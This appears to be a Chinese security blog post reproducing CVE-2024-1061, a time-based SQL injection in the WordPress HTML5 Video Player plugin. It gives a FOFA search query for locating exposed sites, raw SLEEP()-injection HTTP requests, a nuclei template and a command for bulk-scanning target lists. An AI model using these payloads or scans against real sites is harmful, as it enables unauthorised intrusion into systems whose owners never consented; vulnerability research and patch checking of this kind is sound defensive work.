CVE-2024-1061

CVE-2024-1061

原创 fgz AI与网安 2024-02-04 07:00





本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与作者无关!!!

01

漏洞名称

WordPress Plugin HTML5 Video Player 安全漏洞

02

漏洞影响

WordPress Plugin HTML5 Video Player 2.5.25之前版本

03

漏洞描述

WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。

WordPress Plugin HTML5 Video Player 2.5.25之前版本存在安全漏洞,该漏洞源于通过 get_view 函数中 id 参数发现包含 SQL 注入漏洞。

04

FOFA搜索语句

"wordpress" && body="html5-video-player"

CVE-2024-1061 -1

05

漏洞复现

网站正常访问时间在1秒内,构造POC数据包,使睡眠6秒,然后看响应时间是否大于6秒

GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

CVE-2024-1061 -2

睡眠时间改为10秒再次请求,看响应时间是否大于10秒

GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent
: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

CVE-2024-1061 -3

漏洞复现成功

06

nuclei poc

poc文件内容如下

id: CVE-2024-1061

info:
  name: WordPress HTML5 Video Player - SQL Injection
  author: xxcdd
  severity: high
  description: |
    WordPress HTML5 Video Player plugin is vulnerable to SQL injection. An unauthenticated attacker can exploit this vulnerability to perform SQL injection attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to perform SQL injection attacks, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
  remediation: |
    Vendor did not acknowledge vulnerability but the issue seems to have been fixed in version 2.5.25.
  reference:
    - https://www.tenable.com/security/research/tra-2024-02
    - https://wordpress.org/plugins/html5-video-player
    - https://nvd.nist.gov/view/vuln/detail?vulnId=CVE-2024-1061
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-1061
    cwe-id: CWE-89
  metadata:
    verified: true
    fofa-query: '"wordpress" && body="html5-video-player"'
  tags: cve,cve2024,wp,wordpress,wp-plugin,sqli,html5-video-player

http:
  - method: GET
    path:
      - "{{BaseURL}}/?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))a)--+-"

    matchers:
      - type: dsl
        dsl:
          - 'duration>=5 && duration<=7'
          - 'contains(header, "application/json")'
          - 'contains_all(body, "created_at", "video_id")'
        condition: and
# digest: 4b0a0048304602210082f5c18e0ac8422e532f5581f775dfd9a57d7c059cf6f41622d7a00306bfa3c6022100d0500ab738261efc3de306be7f8149c4a2f98b4c1560c26fe3617520ce9dd6e9:922c64590222798bb761d5b6d8e72950

运行POC

nuclei.exe -l data/wordpress.txt -t mypoc/cve/CVE-2024-1061.yaml

CVE-2024-1061 -4

07

修复建议

升级到最新版本。

08

福利领取

关注公众号,在公众号主页点发消息发送关键字免费领取。

后台发送【电子书
】关键字获取学习资料网盘地址


后台发送【POC】关键字获取POC网盘地址

后台发送【工具】获取渗透工具包